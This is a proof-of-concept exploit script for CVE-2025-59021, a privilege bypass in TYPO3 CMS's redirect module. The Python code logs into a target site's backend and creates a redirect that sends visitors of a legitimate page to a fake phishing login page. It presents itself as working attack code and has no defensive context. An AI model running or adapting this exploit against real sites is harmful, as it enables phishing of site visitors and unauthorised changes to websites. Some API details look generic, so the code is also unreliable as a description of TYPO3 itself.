CVE-2025-59021: TYPO3 CMS重定向模块权限控制不当漏洞

# CVE-2025-59021 PoC - TYPO3 CMS Redirect Module Privilege Escalation # This PoC demonstrates the privilege bypass in redirects module # Note: Requires valid backend user with redirects module access and write permission on sys_redirect table import requests import json TARGET_URL = "http://target-typo3-site.com" USERNAME = "attacker_account" PASSWORD = "password" def exploit_cve_2025_59021(): """ Exploit steps: 1. Authenticate to TYPO3 backend 2. Access redirects module 3. Create malicious redirect pointing to arbitrary URL 4. Verify redirect was created without mount point restrictions """ session = requests.Session() # Step 1: Backend authentication login_url = f"{TARGET_URL}/typo3/index.php" credentials = { "userident": PASSWORD, "username": USERNAME, "login_status": "login" } session.post(login_url, data=credentials) # Step 2: Access redirects module and bypass mount point restrictions redirects_api = f"{TARGET_URL}/typo3/ajax.php" headers = { "X-TYPO3-Command": "Record", "Content-Type": "application/json" } # Step 3: Create malicious redirect without restriction malicious_redirect = { "table": "sys_redirect", "cmd": "create", "data": { "source_domain": "legitimate-site.com", "source_path": "/important-page", "target_url": "https://phishing-site.com/fake-login", "target_statuscode": 302, "force_ssl": 0, "hitcount": 0 } } # The vulnerability allows this operation without checking user's mount points response = session.post( redirects_api, headers=headers, data=json.dumps(malicious_redirect) ) # Step 4: Verify created redirect is not limited to user's mounts if response.status_code == 200: result = response.json() if result.get("success"): print("[+] Malicious redirect created successfully!") print("[*] Bypassed mount point restrictions") print(f"[*] Redirect ID: {result.get('uid')}") else: print("[-] Exploitation failed") if __name__ == "__main__": exploit_cve_2025_59021()